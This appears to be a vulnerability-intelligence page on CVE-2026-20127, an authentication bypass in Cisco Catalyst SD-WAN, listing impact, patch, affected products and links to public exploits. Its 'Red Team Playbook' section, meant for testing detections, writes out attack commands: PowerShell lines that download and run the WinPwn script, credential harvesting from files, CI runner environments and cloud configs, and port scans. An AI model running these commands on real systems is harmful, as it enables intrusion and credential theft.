CVE-2026-20127
Overview
This vulnerability is an authentication bypass affecting the peering authentication mechanism in Cisco Catalyst SD-WAN Controller and Manager components. The root cause lies in improper validation of authentication requests during the peering process, which fails to enforce correct credentials. This flaw resides specifically within the peering authentication subsystem responsible for establishing trust between SD-WAN nodes.
Vulnerability Description
A vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to an affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric.
Impact
An unauthenticated remote attacker can exploit this flaw to gain administrative-level access to the affected Cisco Catalyst SD-WAN system. With this access, the attacker can manipulate network configurations via NETCONF, potentially disrupting SD-WAN fabric operations or redirecting traffic. No prior authentication or user interaction is required, enabling full system compromise and lateral movement within the network infrastructure managed by the vulnerable SD-WAN components.
Solution
Cisco has released security updates addressing this vulnerability in Cisco Catalyst SD-WAN Manager version 20.12.6 and later. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-sdwan-rpa-EHchtZk available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk. Following the vendor guidance ensures the authentication mechanism is properly enforced, mitigating the risk of unauthorized access.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Catalyst Sd-Wan Manager | All |
cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
|
|
|
Cisco | Catalyst Sd-Wan Manager | All |
cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
|
|
|
Cisco | Catalyst Sd-Wan Manager | All |
cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
|
|
|
Cisco | Catalyst Sd-Wan Manager | All |
cpe:2.3:a:cisco:catalyst_sd-wan_manager:*:*:*:*:*:*:*:*
|
|
|
Cisco | Catalyst Sd-Wan Manager | 20.12.6 |
cpe:2.3:a:cisco:catalyst_sd-wan_manager:20.12.6:*:*:*:*:*:*:*
|
|
|
Cisco | Sd-Wan Vsmart Controller | All |
cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
|
|
|
Cisco | Sd-Wan Vsmart Controller | All |
cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
|
|
|
Cisco | Sd-Wan Vsmart Controller | All |
cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
|
|
|
Cisco | Sd-Wan Vsmart Controller | All |
cpe:2.3:a:cisco:sd-wan_vsmart_controller:*:*:*:*:*:*:*:*
|
|
|
Cisco | Sd-Wan Vsmart Controller | 20.12.6 |
cpe:2.3:a:cisco:sd-wan_vsmart_controller:20.12.6:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Cisco Catalyst SD-WAN Controller Authentication Bypass
auxiliary/admin/networking/cisco_sdwan_auth_bypass
|
sfewer-r7 | Unknown | - | View |
GitHub PoCs (10)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
zerozenxlabs/CVE-2026-20127---Cisco-SD-WAN-Preauth-RCE
|
zerozenxlabs | 29 | 11 | 2026-03-04 | View |
|
sfewer-r7/CVE-2026-20127
An exploit for the Cisco Catalyst SD-WAN Controller authentication bypass vulnerability, CVE-2026-20127
|
sfewer-r7 | 24 | 3 | 2026-03-09 | View |
|
BugFor-Pings/CVE-2026-20127_EXP
Cisco Catalyst SD-WAN 身份验证绕过漏洞(CVE-2026-20127)利用EXP
|
BugFor-Pings | 4 | 2 | 2026-03-05 | View |
|
yonathanpy/CVE-2026-20127-Cisco-SD-WAN-Preauth-RCE
|
yonathanpy | 2 | 1 | 2026-03-07 | View |
|
gigachadusers/cve-2026-20127
|
gigachadusers | 2 | 0 | 2026-04-15 | View |
|
anuththara2007-W/CVE-2026-20127-Exploit-Extension
|
anuththara2007-W | 0 | 0 | 2026-07-12 | View |
|
0xBlackash/CVE-2026-20127
CVE-2026-20127
|
0xBlackash | 0 | 0 | 2026-06-14 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
abrahamsurf/sdwan-scanner-CVE-2026-20127
Cisco SD-WAN Exposure & Potential Vulnerability Scanner (Passive Fingerprinting) 2026
|
abrahamsurf | 0 | 0 | 2026-03-08 | View |
|
randeepajayasekara/CVE-2026-20127
Walkthrough of the CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN from first malformed peering request to root...
|
randeepajayasekara | 0 | 0 | 2026-03-04 | View |
Threat Feed
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Active exploitation confirmed with 72 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-20127 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20127 |